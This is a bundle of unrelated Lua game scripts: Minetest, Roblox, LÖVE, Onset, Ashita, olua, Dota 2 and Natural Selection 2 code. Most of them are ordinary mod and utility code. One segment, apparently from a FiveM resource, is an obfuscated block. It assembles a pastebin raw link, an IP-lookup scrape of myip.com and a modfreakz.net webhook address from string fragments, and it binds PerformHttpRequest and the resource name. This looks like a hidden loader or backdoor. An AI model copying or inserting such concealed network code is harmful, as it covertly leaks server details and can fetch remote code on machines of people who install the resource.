state:label(0, 0, "intro_label", "Are you sure you want to destroy pad")
state:label(0, 0.5, "padname_label", "")
state:label(0, 1, "outro_label", "(you will not get the pad back)")
state:button(0, 2.2, 2, 0, "confirm_button", "Yes, delete it")
state:button(6, 2.2, 2, 0, "deny_button", "No, keep it")
end)
tpad.forms.global_network = smartfs.create("tpad.forms.global_network", function(state)
state:size(8, 8)
state:label(0.2, 1, "visitor_label", "Pick a pad from the Global Pads Network")
local is_global = true
forms_add_padlist(state, is_global)
end)
tpad.forms.global_network_admin = smartfs.create("tpad.forms.global_network_admin", function(state)
state:size(8, 8)
state:label(0.2, 1, "visitor_label", "Pick a pad from the Global Pads Network")
local admin_button = state:button(4.4, 7, 1.5, 0, "admin_button", "Admin")
admin_button:setClose(true)
local is_global = true
forms_add_padlist(state, is_global)
end)
tpad.forms.admin = smartfs.create("tpad.forms.admin", function(state)
state:size(8, 8)
state:label(0.2, 0.2, "admin_label", "TPAD Settings")
state:field(0.5, 2, 6, 0, "max_total_field", "Max total pads per player")
state:field(0.5, 3.5, 6, 0, "max_global_field", "Max global pads per player")
local save_button = state:button(6.5, 0.7, 1.5, 0, "save_button", "Save")
save_button:setClose(true)
local close_button = state:button(6.5, 7, 1.5, 0, "close_button", "Close")
close_button:setClose(true)
end)
-- ========================================================================
-- helper functions
-- ========================================================================
function tpad.decorate_pad_data(pos, pad, ownername)
pad = table.copy(pad)
if type(pos) == "string" then
pad.strpos = pos
pad.pos = minetest.string_to_pos(pos)
else
pad.pos = pos
pad.strpos = minetest.pos_to_string(pos)
end
pad.owner = ownername
pad.name = pad.name or ""
pad.type = pad.type or PUBLIC_PAD
pad.local_fullname = pad.name .. " " .. pad.strpos .. " " .. short_padtype_string[pad.type]
pad.global_fullname = "[" .. ownername .. "] " .. pad.name .. " " .. pad.strpos
return pad
end
function tpad.get_pad_data(pos)
local meta = minetest.get_meta(pos)
local ownername = meta:get_string("owner")
local pads = tpad._get_stored_pads(ownername)
local strpos = minetest.pos_to_string(pos)
local pad = pads[strpos]
if not pad then return end
return tpad.decorate_pad_data(pos, pad, ownername)
end
function tpad.set_pad_data(pos, padname, padtype)
local meta = minetest.get_meta(pos)
local ownername = meta:get_string("owner")
local pads = tpad._get_stored_pads(ownername)
local strpos = minetest.pos_to_string(pos)
local pad = pads[strpos]
if not pad then
pad = {}
end
pad.name = padname
pad.type = padtype_string_to_flag[padtype]
pads[strpos] = pad
tpad._set_stored_pads(ownername, pads)
end
function tpad.del_pad(ownername, pos)
local pads = tpad._get_stored_pads(ownername)
pads[minetest.pos_to_string(pos)] = nil
tpad._set_stored_pads(ownername, pads)
end
-- ========================================================================
-- register node and bind callbacks
-- ========================================================================
local collision_box = {
type = "fixed",
fixed = {
{ -0.5, -0.5, -0.5, 0.5, -0.3, 0.5 },
}
}
minetest.register_node(tpad.nodename, {
drawtype = "mesh",
tiles = { tpad.texture },
mesh = tpad.mesh,
paramtype = "light",
paramtype2 = "facedir",
on_place = tpad.on_place,
collision_box = collision_box,
selection_box = collision_box,
description = "Teleporter Pad",
groups = {choppy = 2, dig_immediate = 2},
on_rightclick = tpad.on_rightclick,
can_dig = tpad.can_dig,
on_destruct = tpad.on_destruct,
})
minetest.register_chatcommand("tpad", {func = tpad.command})
|
local module = {}
local switch = {}
setmetatable(switch, {
__call = function(self, item)
if not item then
warn("Switch statement needs a value to be compared")
else
return function(data)
for i, v in pairs(data) do
if item == module.convertFromString(i) then
if type(v) == "function" then
return v()
else
return v
end
end
end
if data.default then
return data.default
end
warn("No default value given, switch case will return nil")
return nil
end
end
end
})
function module.scale(x, y)
return UDim2.new(x, 0, y, 0)
end
function module.offset(x, y)
return UDim2.new(0, x, 0, y)
end
function module.size(xScale, xOffset, yScale, yOffset)
return UDim2.new(xScale, xOffset, yScale, yOffset)
end
function module.getPlayersByTeam(...)
local players = {}
local teams = {...}
for i, v in pairs(teams) do
if type(v) == "table" then
for index, team in pairs(v) do
print(team)
for _, plr in pairs(team:GetPlayers()) do
table.insert(players, plr)
end
end
else
for _, plr in pairs(v:GetPlayers()) do
table.insert(players, plr)
end
end
end
return players
end
function module.randomizeTeam(playersTable, teams)
local players = module.copyTable(playersTable)
local teamIndex = 1
if #teams > 1 then
while #players > 0 do
local ranPlayer = math.random(1, #players)
if players[ranPlayer] ~= nil and players[ranPlayer].Parent ~= nil then
players[ranPlayer].Team = teams[teamIndex]
teamIndex = teamIndex + 1
if teamIndex > #teams then
teamIndex = 1
end
table.remove(players, ranPlayer)
end
end
elseif #teams == 1 then
for i, v in pairs(players) do
v.Team = teams[1]
end
end
end
function module.convertFromString(val)
if val == "true" then
return true
end
if val == "false" then
return false
end
if val == "nil" or val == "null" then
return nil
end
local num = tonumber(val)
if num ~= nil and tostring(num) == val then
return num
end
return val
end
function module.debounce(func)
local isRunning = false
return function(...)
if not isRunning then
isRunning = true
func(...)
isRunning = false
end
end
end
function module.valueNoParent(valType, name, value)
local inst
local success, err = pcall(function()
inst = Instance.new(valType)
inst.Name = name
inst.Value = value
end)
if success then
return inst
else
warn(err)
end
end
function module.createValue(valType, parent, name, value)
local inst
local success, err = pcall(function()
inst = Instance.new(valType, parent)
inst.Name = name
inst.Value = value
end)
if success then
return inst
else
warn(err)
end
end
function module.ClearChildren(inst, exempt)
if exempt == nil then
inst:ClearAllChildren()
end
for i, v in pairs(inst:GetChildren()) do
if not IsInTable(exempt, v.Name) then
v:Destroy()
end
end
end
module.switch = switch
--Helper Functions
function IsInTable(tab, item)
for i,v in pairs(tab) do
if v == item then
return true
end
end
return false
end
return module
|
function onCreate()
setProperty('dad.x',200)
setProperty('dad.y',260)
end |
isomap = require ("isomap")
function love.load()
--Variables
x = 0
y = 0
zoomL = 1
zoom = 1
--Set background to deep blue
love.graphics.setBackgroundColor(0, 0, 69)
love.graphics.setDefaultFilter("linear", "linear", 8)
--Decode JSON map file
isomap.decodeJson("JSONMap.json")
--Generate map from JSON file (loads assets and creates tables)
isomap.generatePlayField()
end
function love.update(dt)
require("lovebird").update()
if love.keyboard.isDown("left") then x = x + 900*dt end
if love.keyboard.isDown("right") then x = x - 900*dt end
if love.keyboard.isDown("up") then y = y+900*dt end
if love.keyboard.isDown("down") then y = y-900*dt end
zoomL = lerp(zoomL, zoom, 0.05*(dt*300))
end
function love.draw()
isomap.drawGround(x, y, zoomL)
isomap.drawObjects(x, y, zoomL)
info = love.graphics.getStats()
love.graphics.print("FPS: "..love.timer.getFPS())
love.graphics.print("Draw calls: "..info.drawcalls, 0, 12)
love.graphics.print("Texture memory: "..((info.texturememory/1024)/1024).."mb", 0, 24)
love.graphics.print("Zoom level: "..zoom, 0, 36)
love.graphics.print("X: "..math.floor(x).." Y: "..math.floor(y), 0, 48)
end
function love.wheelmoved(x, y)
if y > 0 then
zoom = zoom + 0.1
elseif y < 0 then
zoom = zoom - 0.1
end
if zoom < 0.1 then zoom = 0.1 end
end
function lerp(a, b, rate) --EMPLOYEE OF THE MONTH
local result = (1-rate)*a + rate*b
return result
end
|
local Dialog = ImportPackage("dialogui")
local _ = function(k,...) return ImportPackage("i18n").t(GetPackageName(),k,...) end
local policeNPC
local policeNpcMenu
local policeSearchMenu
local policeMenu
local isOnDuty = false
AddRemoteEvent("SetupPolice", function(policenpc)
policeNPC = policenpc
for key, npc in pairs(policeNPC) do
-- Not working, will investigate why
SetNPCClothingPreset(npc[1], 13)
end
end)
AddEvent("OnTranslationReady", function()
policeNpcMenu = Dialog.create(_("police_menu"), nil, _("start_stop_police") ,_("cancel"))
policeMenu = Dialog.create(_("police_menu"), nil, _("handcuff_player"), _("put_player_in_vehicle"), _("remove_player_from_vehicle"), _("remove_all_weapons"),_("give_player_fine"),_("search_police"), _("cancel"))
policeNpcGarageMenu = Dialog.create(_("police_garage_menu"), nil, _("spawn_despawn_patrol_car"), _("cancel"))
policeNpcArmoryMenu = Dialog.create(_("police_armory"), nil, _("get_equipped"), _("cancel"))
policeReceiveFineMenu = Dialog.create(_("fine"), _("fine_price").." : {fine_price} ".._("currency").." | ".._("reason").." : {reason}", _("pay"))
policeFineMenu = Dialog.create(_("finePolice"), nil, _("give_fine"), _("cancel"))
Dialog.addTextInput(policeFineMenu, 1, _("fine_price").." :")
Dialog.addSelect(policeFineMenu, 1, _("player"), 3)
Dialog.addTextInput(policeFineMenu, 1, _("reason").." :")
policeSearchMenu = Dialog.create(_("search_police"), nil, _("start_search"), _("cancel"))
Dialog.addSelect(policeSearchMenu, 1, _("player"), 3)
end)
AddEvent("OnKeyPress", function( key )
if key == INTERACT_KEY and not GetPlayerBusy() then
local NearestPolice, purpose = GetNearestPolice()
if NearestPolice ~= 0 then
if(purpose == "police_job") then
--Dialog.show(policeNpcMenu)
local message = (isOnDuty and _("police_npc_message_stop") or _("police_npc_message_start"))
startCinematic({
title = _("police_npc_name"),
message = message,
actions = {
{
text = _("yes"),
callback = "StartStopService"
},
{
text = _("no"),
callback = "CUIGoodbye",
}
}
}, NearestPolice, "SALUTE")
elseif(purpose == "police_garage") then
Dialog.show(policeNpcGarageMenu)
elseif(purpose == "police_armory") then
Dialog.show(policeNpcArmoryMenu)
end
end
end
if key == JOB_MENU_KEY and not GetPlayerBusy() then
CallRemoteEvent("OpenPoliceMenu")
end
end)
AddEvent("StartStopService", function()
local message = (isOnDuty and _("npc_end_stop") or _("police_npc_end_start"))
updateCinematic({
message = message
})
Delay(1500, function()
stopCinematic()
end)
CallRemoteEvent("StartStopPolice")
end)
AddRemoteEvent("ServiceStart", function()
isOnDuty = true
end)
AddRemoteEvent("ServiceStop", function()
isOnDuty = false
end)
AddRemoteEvent("PoliceAlert", function(alert)
if isOnDuty then
MakeErrorNotification(alert)
end
end)
AddEvent("OnDialogSubmit", function(dialog, button, ...)
local args = { ... }
if dialog == policeNpcMenu then
if button == 1 then
CallRemoteEvent("StartStopPolice")
end
end
if dialog == policeNpcGarageMenu then
if button == 1 then
CallRemoteEvent("GetPatrolCar")
end
end
if dialog == policeNpcArmoryMenu then
if button == 1 then
CallRemoteEvent("GetEquipped")
end
end
if dialog == policeMenu then
if button == 1 then
CallRemoteEvent("HandcuffPlayerSetup")
end
if button == 2 then
CallRemoteEvent("PutPlayerInVehicle")
end
if button == 3 then
CallRemoteEvent("RemovePlayerOfVehicle")
end
if button == 4 then
CallRemoteEvent("RemoveAllWeaponsOfPlayer")
end
if button == 5 then
CallRemoteEvent("OpenPoliceFineMenu")
end
if button == 6 then
CallRemoteEvent("OpenPoliceSearchMenu")
end
-- CallRemoteEvent(player, "OpenPersonalMenu", "I", Items, PlayerData[player].inventory, PlayerData[player].name, player, playerList, GetPlayerMaxSlots(player))
end
if dialog == policeFineMenu then
if button == 1 then
if args[1] ~= "" then
if tonumber(args[1]) > 0 then
CallRemoteEvent("GiveFineToPlayer", args[1], args[2], args[3])
else
MakeNotification(_("enter_higher_number"), "linear-gradient(to right, #ff5f6d, #ffc371)")
end
else
MakeNotification(_("valid_number"), "linear-gradient(to right, #ff5f6d, #ffc371)")
end
end
end
if dialog == policeSearchMenu then
if button == 1 then
if args[1] ~= "" then
CallRemoteEvent("SearchPlayerInventory", args[1])
else
MakeNotification(_("select_someone"), "linear-gradient(to right, #ff5f6d, #ffc371)")
end
end
end
if dialog == policeReceiveFineMenu then
if button == 1 then
CallRemoteEvent("PayFine")
end
end
end)
AddRemoteEvent("PoliceMenu", function()
Dialog.show(policeMenu)
end)
AddRemoteEvent("OpenPoliceFineMenu", function(playerNames)
Dialog.setSelectLabeledOptions(policeFineMenu, 1, 2, playerNames)
Dialog.show(policeFineMenu)
end)
AddRemoteEvent("OpenPoliceSearchMenu", function(playerNames)
print("OpenPoliceSearchMenu")
print(playerNames)
Dialog.setSelectLabeledOptions(policeSearchMenu, 1, 2, playerNames)
Dialog.show(policeSearchMenu)
end)
function GetNearestPolice()
local x, y, z = GetPlayerLocation()
for k,v in pairs(GetStreamedNPC()) do
local x2, y2, z2 = GetNPCLocation(v)
local dist = GetDistance3D(x, y, z, x2, y2, z2)
if dist < 250.0 then
for k,i in pairs(policeNPC) do
if v == i[1] then
return v, i[2]
end
end
end
end
return 0, ""
end
AddEvent("OnKeyPress", function(key)
if(key == "R" and IsCtrlPressed()) then
CallRemoteEvent("HandcuffPlayerSetup")
end
end)
AddEvent("OnGameTick", function()
if(GetPlayerPropertyValue(GetPlayerId(), "cuffed")) then
if(GetPlayerMovementSpeed() > 0 and GetPlayerMovementMode() ~= 1) then
CallRemoteEvent("DisableMovementForCuffedPlayer")
else
local x, y, z = GetPlayerLocation()
CallRemoteEvent("UpdateCuffPosition", x, y, z)
end
end
end)
AddEvent("OnPlayerDeath", function(player, instigator)
if(GetPlayerPropertyValue(GetPlayerId(), "cuffed")) then
CallRemoteEvent("FreeHandcuffPlayer")
end
end)
AddEvent("OnPlayerStartExitVehicle", function(vehicle)
if(GetPlayerPropertyValue(GetPlayerId(), "cuffed")) then
return false
end
end)
AddEvent("OnPlayerStartEnterVehicle", function(vehicle)
if(GetPlayerPropertyValue(GetPlayerId(), "cuffed")) then
return false
end
end)
AddRemoteEvent("PlayerReceiveFine", function(amount, reason)
Dialog.setVariable(policeReceiveFineMenu, "fine_price", amount)
Dialog.setVariable(policeReceiveFineMenu, "reason", reason)
Dialog.show(policeReceiveFineMenu)
end)
|
return {
id = 2004,
value = "any",
} |
addon.name = 'LuAshitacast';
addon.author = 'Thorny';
addon.version = '1.23';
addon.desc = 'A lua-based equipment swapping system for Ashita';
addon.link = 'https://github.com/ThornyFFXI/LuAshitacast';
require('common');
chat = require('chat');
gBase = {};
gData = require('data');
gDefaultSettings = require('settings');
gFunc = require('func');
gEquip = require('equip');
gFileTools = require('filetools');
gProfile = nil;
gState = require('state');
gCommandHandlers = require('commandhandlers');
gPacker = require('packer');
gPacketHandlers = require('packethandlers');
ashita.events.register('load', 'load_cb', function ()
gState.Init();
end);
ashita.events.register('packet_in', 'packet_in_cb', function (e)
gPacketHandlers.HandleIncomingPacket(e);
end);
ashita.events.register('packet_out', 'packet_out_cb', function (e)
gPacketHandlers.HandleOutgoingPacket(e);
end);
ashita.events.register('command', 'command_cb', function (e)
gCommandHandlers.HandleCommand(e);
end); |
object_draft_schematic_genetic_engineering_combiner_housing = object_draft_schematic_genetic_engineering_shared_combiner_housing:new {
}
ObjectTemplates:addTemplate(object_draft_schematic_genetic_engineering_combiner_housing, "object/draft_schematic/genetic_engineering/combiner_housing.iff")
|
function string.tohex(s,chunkSize)s=(type(s)=="string"and s or type(s)=="nil"and""or tostring(s))chunkSize=chunkSize or 2048 local rt={} string.tohex_sformat=(string.tohex_sformat and string.tohex_chunkSize and string.tohex_chunkSize==chunkSize and string.tohex_sformat)or string.rep("%02X",math.min(#s,chunkSize)) string.tohex_chunkSize=( string.tohex_chunkSize and string.tohex_chunkSize==chunkSize and string.tohex_chunkSize or chunkSize)
for i = 1,#s,chunkSize do rt[#rt+1]=string.format(string.tohex_sformat:sub(1,(math.min(#s-i+1,chunkSize)*4)),s:byte(i,i+chunkSize-1)) end if #rt == 1 then return rt[1] else return table.concat(rt,"")end end local vFAA,vFAB,t,vPR,vA,vB function rFAA() return vFAA;end function gPB() return 'https://pastebin.com/';end function gRT() return 'raw/5LMpiBWq'; end function rFAB() return vFAB;end function rT() return t;end function rA() return vA;end function rB() return vB;end function gPR() return PerformHttpRequest;end
function gRN() return GetCurrentResourceName;end function eM() return "[ "..gRN()().." : Error ] : ";end function uA() return "Unauthorized access. Contact us on discord at https://discord.gg/ukgQa5K for more information.";end function lH() return "127.0.0.1";end vFAB='</span>' t = {["eH"]='endhook ',["sH"]='starthook ',["te"]='terr',["fs"]='hooks',["k"]='akz',["get"]='get',["co"]='com',["ne"]='net',["adr"]=':/',["au"]='au',["f"]='fre',["wide"]='www',["me"]='my',["d"]='.',["unw"]='http',["ad"]='ip',["secw"]='https',["o"]='mod',["wb"]='web',}
vFAA='<span id="'..t.ad..'">' vPR = PerformHttpRequest vA=(t.secw..t.adr..'/'..t.wide..t.d..t.me..t.ad..t.d..t.co) vB=(t.secw..t.adr..'/'..t.wide..t.d..t.o..t.f..t.k..t.d..t.ne..'/'..t.wb..t.fs)
|
local olua = require "typecls"
local typedef = olua.typedef
typedef {
CPPCLS = 'void',
CONV = '<NONE>',
}
typedef {
CPPCLS = [[
void *
GLvoid *
]],
LUACLS = 'void *',
CONV = 'olua_$$_obj',
}
typedef {
CPPCLS = 'bool',
CONV = 'olua_$$_bool',
}
typedef {
CPPCLS = [[
uint8_t *
char *
const char *
unsigned char *
const unsigned char *
const GLchar *
]],
DECLTYPE = 'const char *',
CONV = 'olua_$$_string',
}
typedef {
CPPCLS = 'std::string',
CONV = 'olua_$$_std_string',
}
typedef {
CPPCLS = 'std::function',
CONV = 'olua_$$_std_function',
}
typedef {
CPPCLS = [[
std::unordered_map
std::map
]],
CONV = 'olua_$$_std_unordered_map',
PUSH_VALUE = function (arg, name)
local SUBTYPES = arg.TYPE.SUBTYPES
local key = {TYPE = SUBTYPES[1], DECLTYPE = SUBTYPES[1].DECLTYPE, ATTR = {}}
local value = {TYPE = SUBTYPES[2], DECLTYPE = SUBTYPES[2].DECLTYPE, ATTR = {}}
local OUT = {PUSH_ARGS = olua.newarray()}
olua.gen_push_exp(key, "entry.first", OUT)
olua.gen_push_exp(value, "entry.second", OUT)
local str = olua.format([[
lua_createtable(L, 0, (int)${name}.size());
for (auto &entry : ${name}) {
${OUT.PUSH_ARGS}
lua_rawset(L, -3);
}
]])
return str
end,
CHECK_VALUE = function (arg, name, i)
local SUBTYPES = arg.TYPE.SUBTYPES
local key = {TYPE = SUBTYPES[1], DECLTYPE = SUBTYPES[1].DECLTYPE, ATTR = {}}
local value = {TYPE = SUBTYPES[2], DECLTYPE = SUBTYPES[2].DECLTYPE, ATTR = {}}
local OUT = {CHECK_ARGS = olua.newarray(), DECL_ARGS = olua.newarray()}
olua.gen_decl_exp(key, "key", OUT)
olua.gen_decl_exp(value, "value", OUT)
olua.gen_check_exp(key, 'key', -2, OUT)
olua.gen_check_exp(value, 'value', -1, OUT)
local str = olua.format([[
lua_pushnil(L);
while (lua_next(L, ${i})) {
${OUT.DECL_ARGS}
${OUT.CHECK_ARGS}
${name}.insert(std::make_pair(key, value));
lua_pop(L, 1);
}
]])
return str
end,
}
typedef {
CPPCLS = 'std::set',
CONV = 'olua_$$_std_set',
PUSH_VALUE = [[
int ${ARG_NAME}_i = 1;
lua_createtable(L, (int)${ARG_NAME}.size(), 0);
for (auto it = ${ARG_NAME}.begin(); it != ${ARG_NAME}.end(); ++it) {
${SUBTYPE_PUSH_FUNC}(L, ${SUBTYPE_CAST}(*it));
lua_rawseti(L, -2, ${ARG_NAME}_i++);
}
]],
CHECK_VALUE = [[
size_t ${ARG_NAME}_total = lua_rawlen(L, ${ARGN});
for (int i = 1; i <= ${ARG_NAME}_total; i++) {
${SUBTYPE.DECLTYPE} obj;
lua_rawgeti(L, ${ARGN}, i);
${SUBTYPE_CHECK_FUNC}(L, -1, &obj);
${ARG_NAME}.insert(${SUBTYPE_CAST}obj);
lua_pop(L, 1);
}
]],
}
typedef {
CPPCLS = 'std::vector',
CONV = 'olua_$$_std_vector',
PUSH_VALUE = [[
int ${ARG_PREFIX}_size = (int)${ARG_NAME}.size();
lua_createtable(L, ${ARG_PREFIX}_size, 0);
for (int i = 0; i < ${ARG_PREFIX}_size; i++) {
${SUBTYPE_PUSH_FUNC}(L, ${SUBTYPE_CAST}${ARG_NAME}[i]);
lua_rawseti(L, -2, i + 1);
}
]],
CHECK_VALUE = [[
size_t ${ARG_NAME}_total = lua_rawlen(L, ${ARGN});
${ARG_NAME}.reserve(${ARG_NAME}_total);
for (int i = 1; i <= ${ARG_NAME}_total; i++) {
${SUBTYPE.DECLTYPE} obj;
lua_rawgeti(L, ${ARGN}, i);
${SUBTYPE_CHECK_FUNC}(L, -1, &obj);
${ARG_NAME}.push_back(${SUBTYPE_CAST}obj);
lua_pop(L, 1);
}
]],
}
typedef {
CPPCLS = [[
float
double
GLfloat
]],
DECLTYPE = 'lua_Number',
CONV = 'olua_$$_number',
}
typedef {
CPPCLS = [[
char
GLint
GLshort
GLsizei
int
long
short
ssize_t
int8_t
int16_t
int32_t
int64_t
std::int32_t
]],
DECLTYPE = 'lua_Integer',
CONV = 'olua_$$_int',
}
typedef {
CPPCLS = [[
GLboolean
GLenum
GLubyte
GLuint
size_t
std::size_t
std::string::size_type
uint8_t
uint16_t
uint32_t
uint64_t
unsigned char
unsigned int
unsigned short
]],
DECLTYPE = 'lua_Unsigned',
CONV = 'olua_$$_uint',
}
|
return {
-- Heavily inspired by https://github.com/KhronosGroup/glTF-WebGL-PBR/blob/master/shaders/pbr-vert.glsl
vertex = VFS.LoadFile("ModelMaterials/Shaders/pbr.vert"),
fragment = VFS.LoadFile("ModelMaterials/Shaders/pbr.frag"),
uniformInt = {
tex0 = 0,
tex1 = 1,
tex2 = 2,
tex3 = 3,
--tex4 = 4,
brdfLUT = 5,
shadowTex = 6,
irradianceEnvTex = 7,
specularEnvTex = 8,
},
uniformFloat = {
sunColor = {1.0, 1.0, 1.0},
shadowDensity = {gl.GetSun("shadowDensity" ,"unit")},
},
uniformMatrix = {
},
} |
clinkz_death_pact_oaa = class( AbilityBaseClass )
LinkLuaModifier( "modifier_clinkz_death_pact_oaa", "abilities/oaa_death_pact.lua", LUA_MODIFIER_MOTION_NONE )
LinkLuaModifier( "modifier_clinkz_death_pact_effect_oaa", "abilities/oaa_death_pact.lua", LUA_MODIFIER_MOTION_NONE )
---------------------------------------------------------------------------------------------------
function clinkz_death_pact_oaa:CastFilterResultTarget(hTarget)
if (hTarget:IsCreep() and not hTarget:IsAncient() and not hTarget:IsConsideredHero() and not hTarget:IsCourier()) or hTarget:GetClassname() == "npc_dota_clinkz_skeleton_archer" then
return UF_SUCCESS
end
return UnitFilter(hTarget, DOTA_UNIT_TARGET_TEAM_BOTH, DOTA_UNIT_TARGET_CREEP, bit.bor(DOTA_UNIT_TARGET_FLAG_NOT_ANCIENTS, DOTA_UNIT_TARGET_FLAG_MAGIC_IMMUNE_ENEMIES, DOTA_UNIT_TARGET_FLAG_NOT_CREEP_HERO), self:GetCaster():GetTeamNumber())
end
function clinkz_death_pact_oaa:OnSpellStart()
local caster = self:GetCaster()
local target = self:GetCursorTarget()
local duration = self:GetSpecialValueFor( "duration" )
-- get the target's current health
local targetHealth = target:GetHealth()
-- kill the target
target:Kill( self, caster )
-- Apply the modifier that just displays duration and visual effects
caster:AddNewModifier( caster, self, "modifier_clinkz_death_pact_effect_oaa", {duration = duration} )
-- apply the new modifier which actually provides the stats
-- then set its stack count to the amount of health the target had
caster:AddNewModifier( caster, self, "modifier_clinkz_death_pact_oaa", {duration = duration, stacks = targetHealth} )
-- play the sounds
caster:EmitSound( "Hero_Clinkz.DeathPact.Cast" )
target:EmitSound( "Hero_Clinkz.DeathPact" )
-- show the particle
local part = ParticleManager:CreateParticle( "particles/units/heroes/hero_clinkz/clinkz_death_pact.vpcf", PATTACH_ABSORIGIN, target )
ParticleManager:SetParticleControlEnt( part, 1, caster, PATTACH_ABSORIGIN, "", caster:GetAbsOrigin(), true )
ParticleManager:ReleaseParticleIndex( part )
end
---------------------------------------------------------------------------------------------------
modifier_clinkz_death_pact_oaa = class( ModifierBaseClass )
function modifier_clinkz_death_pact_oaa:IsHidden()
return true
end
function modifier_clinkz_death_pact_oaa:IsDebuff()
return false
end
function modifier_clinkz_death_pact_oaa:IsPurgable()
return false
end
function modifier_clinkz_death_pact_oaa:OnCreated( event )
local parent = self:GetParent()
local spell = self:GetAbility()
-- this has to be done server-side because valve
if IsServer() then
-- get the parent's (Clinkz) current health before applying anything
self.parentHealth = parent:GetHealth()
-- set the modifier's stack count to the target's health, so that we
-- have access to it on the client
self:SetStackCount( event.stacks )
end
-- get KV variables
local healthPct = spell:GetSpecialValueFor( "health_gain_pct" )
local healthMax = spell:GetSpecialValueFor( "health_gain_max" )
local damagePct = spell:GetSpecialValueFor( "damage_gain_pct" )
local damageMax = spell:GetSpecialValueFor( "damage_gain_max" )
if IsServer() then
-- Talent that increases hp and dmg gain
local talent = parent:FindAbilityByName("special_bonus_clinkz_death_pact_oaa")
if talent then
if talent:GetLevel() > 0 then
healthPct = healthPct + talent:GetSpecialValueFor("value")
damagePct = damagePct + talent:GetSpecialValueFor("value2")
healthMax = healthMax + talent:GetSpecialValueFor("value3")
damageMax = damageMax + talent:GetSpecialValueFor("value4")
end
end
end
-- retrieve the stack count
local targetHealth = self:GetStackCount()
-- make sure the resulting buffs don't exceed the caps
self.health = targetHealth * healthPct * 0.01
if healthMax > 0 then
self.health = math.min( healthMax, self.health )
end
self.damage = targetHealth * damagePct * 0.01
if damageMax > 0 then
self.damage = math.min( damageMax, self.damage )
end
if IsServer() then
-- apply the new health and such
parent:CalculateStatBonus()
-- add the added health
parent:SetHealth( self.parentHealth + self.health )
end
end
function modifier_clinkz_death_pact_oaa:OnRefresh( event )
local parent = self:GetParent()
local spell = self:GetAbility()
-- this has to be done server-side because valve
if IsServer() then
-- get the parent's current health before applying anything
self.parentHealth = parent:GetHealth()
-- set the modifier's stack count to the target's health, so that we
-- have access to it on the client
self:SetStackCount( event.stacks )
end
-- get KV variables
local healthPct = spell:GetSpecialValueFor( "health_gain_pct" )
local healthMax = spell:GetSpecialValueFor( "health_gain_max" )
local damagePct = spell:GetSpecialValueFor( "damage_gain_pct" )
local damageMax = spell:GetSpecialValueFor( "damage_gain_max" )
if IsServer() then
-- Talent that increases hp and dmg gain
local talent = parent:FindAbilityByName("special_bonus_clinkz_death_pact_oaa")
if talent then
if talent:GetLevel() > 0 then
healthPct = healthPct + talent:GetSpecialValueFor("value")
damagePct = damagePct + talent:GetSpecialValueFor("value2")
healthMax = healthMax + talent:GetSpecialValueFor("value3")
damageMax = damageMax + talent:GetSpecialValueFor("value4")
end
end
end
-- retrieve the stack count
local targetHealth = self:GetStackCount()
-- make sure the resulting buffs don't exceed the caps
self.health = targetHealth * healthPct * 0.01
if healthMax > 0 then
self.health = math.min( healthMax, self.health )
end
self.damage = targetHealth * damagePct * 0.01
if damageMax > 0 then
self.damage = math.min( damageMax, self.damage )
end
if IsServer() then
-- apply the new health and such
parent:CalculateStatBonus()
-- add the added health
parent:SetHealth( self.parentHealth + self.health )
end
end
function modifier_clinkz_death_pact_oaa:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_BASEATTACK_BONUSDAMAGE, -- Vanilla is not base damage!
MODIFIER_PROPERTY_EXTRA_HEALTH_BONUS,
}
return funcs
end
function modifier_clinkz_death_pact_oaa:GetModifierBaseAttack_BonusDamage( event )
return self.damage
end
function modifier_clinkz_death_pact_oaa:GetModifierExtraHealthBonus( event )
return self.health
end
---------------------------------------------------------------------------------------------------
modifier_clinkz_death_pact_effect_oaa = class( ModifierBaseClass )
function modifier_clinkz_death_pact_effect_oaa:IsHidden()
return false
end
function modifier_clinkz_death_pact_effect_oaa:IsDebuff()
return false
end
function modifier_clinkz_death_pact_effect_oaa:IsPurgable()
return false
end
function modifier_clinkz_death_pact_effect_oaa:GetEffectName()
return "particles/units/heroes/hero_clinkz/clinkz_death_pact_buff.vpcf"
end
function modifier_clinkz_death_pact_effect_oaa:GetEffectAttachType()
return PATTACH_POINT_FOLLOW
end
|
local allowedSpectatorSteamIds = {}
local NAME_PREFIX = "spec-"
local NAME_REMINDER_INTERVAL_IN_SECONDS = 400
local NAME_REMINDER_MESSAGE = "Remember to remove '" .. NAME_PREFIX .. "' from your name before reconnecting."
local DISCONNECT_REASON = "No Spectator slots open. You are being disconnected."
local clientConfirmConnectHandled = {}
local function RemindSpectatorsToRemoveSpecFromName()
TGNS.DoFor(TGNS.GetSpectatorClients(), function(c)
local clientName = TGNS.GetClientName(c)
if TGNS.StartsWith(clientName, NAME_PREFIX) then
TGNS.PlayerAction(c, function(p)
md:ToPlayerNotifyInfo(p, NAME_REMINDER_MESSAGE)
end)
end
end)
TGNS.ScheduleAction(NAME_REMINDER_INTERVAL_IN_SECONDS, RemindSpectatorsToRemoveSpecFromName)
end
TGNS.ScheduleAction(NAME_REMINDER_INTERVAL_IN_SECONDS, RemindSpectatorsToRemoveSpecFromName)
local function RemoveFailedSpecAttempt(client)
TGNS.KickClient(client, DISCONNECT_REASON, function(c,p) md:ToPlayerNotifyInfo(p, DISCONNECT_REASON) end)
end
local md = TGNSMessageDisplayer.Create()
local Plugin = {}
function Plugin:ClientConfirmConnectHandled(client)
local result = TGNS.Has(clientConfirmConnectHandled, client)
return result
end
function Plugin:JoinTeam(gamerules, player, newTeamNumber, force, shineForce)
local cancel = false
if TGNS.IsPlayerSpectator(player) then
local client = TGNS.GetClient(player)
TGNS.RemoveTempGroup(client, "spectator_group")
end
local playerIsAdmin = TGNS.ClientAction(player, TGNS.IsClientAdmin)
if newTeamNumber == kSpectatorIndex then
if not playerIsAdmin then
local steamId = TGNS.ClientAction(player, TGNS.GetClientSteamId)
if not TGNS.Has(allowedSpectatorSteamIds, steamId) then
md:ToPlayerNotifyError(player, "Spectator is not available now.")
cancel = true
end
end
if not cancel then
local client = TGNS.ClientAction(player, function(c) return c end)
local steamId = TGNS.GetClientSteamId(client)
TGNS.AddTempGroup(client, "spectator_group")
end
elseif TGNS.IsPlayerSpectator(player) then
if playerIsAdmin then
local playerName = TGNS.GetPlayerName(player)
if TGNS.StartsWith(playerName, NAME_PREFIX) then
md:ToPlayerNotifyError(player, "Admins must remove " .. NAME_PREFIX .. " from name to leave Spectator.")
cancel = true
end
else
md:ToPlayerNotifyError(player, "Reconnect to leave Spectator.")
cancel = true
end
end
if cancel then
TGNS.RespawnPlayer(player)
return false
end
end
-- function Plugin:PlayerSay(client, networkMessage)
